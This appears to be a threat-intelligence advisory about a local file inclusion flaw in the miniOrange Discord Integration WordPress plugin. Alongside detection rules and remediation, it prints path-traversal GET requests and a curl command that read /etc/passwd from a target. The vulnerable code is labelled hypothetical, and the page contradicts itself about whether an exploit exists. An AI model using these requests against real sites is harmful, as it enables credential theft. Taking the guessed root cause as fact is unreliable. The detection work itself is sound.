CVE-2025-47672
Executive Summary
CVE-2025-47672 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the miniOrange Discord Integration WordPress plugin, versions <= 2.2.2. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, WordPress configuration files (wp-config.php), or log files containing credentials. The CVSS score of 8.1 (High) reflects the low attack complexity and network-based attack vector, though the impact is limited to confidentiality. No public exploit code or patch is currently available, making this a high-priority zero-day for WordPress administrators.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is maintained by miniOrange and is used for integrating Discord authentication and notifications into WordPress sites. As a supply chain risk, any site running this plugin is exposed until a patch is released. Administrators should monitor the plugin's update channel and consider disabling the plugin if it is not critical.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 8.1 (High)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Full file read capability.
- Integrity Impact: None (I:N) – No file modification.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: High. The lack of authentication and low complexity make this an attractive target for automated scanning and exploitation. The EPSS score of 0.0% indicates low current exploitation activity, but this may change as details become public.
Deep Dive & Mechanics
The vulnerability exists in the miniorange-discord-integration plugin's PHP code, specifically in a function that handles file inclusion based on user-supplied input. The plugin likely uses a parameter (e.g., page, tab, or action) to dynamically include a PHP file for rendering admin pages or handling requests. Due to insufficient sanitization, an attacker can inject path traversal sequences (e.g., ../../) to include arbitrary files from the server.
Root Cause: The plugin uses a construct similar to:
include( plugin_dir_path( __FILE__ ) . 'views/' . $_GET['page'] . '.php' );
Without proper validation of the page parameter, an attacker can supply a value like ../../../../etc/passwd%00 to include /etc/passwd (null byte injection may be required in older PHP versions, but modern PHP may still allow path traversal).
Attack Flow:
- Attacker identifies a vulnerable endpoint (e.g.,
/wp-admin/admin.php?page=miniorange-discord-integration). - Attacker crafts a request with a malicious
pageparameter containing path traversal. - The plugin includes the attacker-specified file, outputting its contents in the response.
- Attacker reads sensitive files (e.g.,
wp-config.phpfor database credentials).
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the plugin's main file or admin handler. A typical vulnerable pattern:
Vulnerable Code (hypothetical):
// In miniorange-discord-integration.php or similar
$page = $_GET['page'];
include( plugin_dir_path( __FILE__ ) . 'admin/views/' . $page . '.php' );
Patched Code (expected):
$allowed_pages = array('dashboard', 'settings', 'logs');
$page = sanitize_key( $_GET['page'] );
if ( in_array( $page, $allowed_pages ) ) {
include( plugin_dir_path( __FILE__ ) . 'admin/views/' . $page . '.php' );
} else {
// Default or error
}
The patch should implement a whitelist of allowed files and use sanitize_key() or basename() to prevent path traversal.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with miniOrange Discord Integration plugin <= 2.2.2 installed and activated.
- Knowledge of the vulnerable endpoint (likely
/wp-admin/admin.php?page=miniorange-discord-integration).
Exploit Steps:
- Identify the vulnerable parameter (e.g.,
page). - Craft a request to include a sensitive file:
GET /wp-admin/admin.php?page=../../../../etc/passwd%00 HTTP/1.1 Host: target.com - If null byte injection fails, try without null byte (modern PHP may still include the file if the path is valid):
GET /wp-admin/admin.php?page=../../../../etc/passwd HTTP/1.1 - Read the response for file contents.
Example cURL command:
curl -v "http://target.com/wp-admin/admin.php?page=../../../../etc/passwd"
Expected Output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for requests containing
../or%2e%2e%2fin thepageparameter. - Look for requests to
/wp-admin/admin.phpwith unusualpagevalues (e.g.,../../etc/passwd). - Use WAF rules to block path traversal patterns.
Hardening:
- Disable the plugin until a patch is released.
- If the plugin is critical, implement a custom filter to whitelist allowed
pagevalues. - Ensure PHP
open_basediris configured to restrict file access. - Use a Web Application Firewall (WAF) with rules to block LFI attempts.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/wp-admin/admin.phpwithpageparameter containing../or%2e%2e%2f. - Unusual file paths in the
pageparameter (e.g.,/etc/passwd,wp-config.php).
- HTTP requests to
- File System IOCs:
- Unexpected inclusion of system files in web server logs.
- Presence of files like
/tmp/exploit.phpif the attacker attempts to upload a shell.
- Log IOCs:
- Apache/Nginx access logs showing
GET /wp-admin/admin.php?page=../../../../etc/passwdwith a 200 response. - PHP error logs showing
include(): Failed opening '../../../../etc/passwd'(if file does not exist).
- Apache/Nginx access logs showing
Detection Engineering
YARA Rule
rule CVE_2025_47672_LFI_WordPress {
meta:
description = "Detects LFI attempts targeting miniOrange Discord Integration plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-47672"
strings:
$path_traversal = /page=[^&]*\.\.\// nocase
$sensitive_file = /page=[^&]*(etc\/passwd|wp-config\.php|\.\.\/)/ nocase
condition:
any of them
}
Sigma Rule
title: CVE-2025-47672 LFI Attempt on miniOrange Discord Integration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with path traversal in the page parameter targeting the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-uri-query|contains:
- 'page=../'
- 'page=%2e%2e%2f'
- 'page=..%2f'
condition: selection
falsepositives:
- Legitimate use of relative paths (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-47672 LFI Attempt - miniOrange Discord Integration"; flow:to_server,established; content:"/wp-admin/admin.php"; http_uri; content:"page="; http_uri; pcre:"/page=[^&]*\.\.\//iU"; classtype:attempted-recon; sid:10000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not essential for operations.
- Implement a virtual patch using a WAF to block requests containing
../in thepageparameter. - Monitor logs for exploitation attempts.
Long-term Fix:
- Wait for the vendor (miniOrange) to release a patched version. Check the WordPress plugin repository for updates.
- Once a patch is available, update to the latest version immediately.
- Consider replacing the plugin with an alternative if no patch is released.
Configuration Hardening:
- Set
open_basedirinphp.inito restrict file inclusion to the WordPress directory:open_basedir = /var/www/html:/tmp - Disable
allow_url_includeandallow_url_fopenif not needed. - Use a security plugin like Wordfence to add an additional layer of protection.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.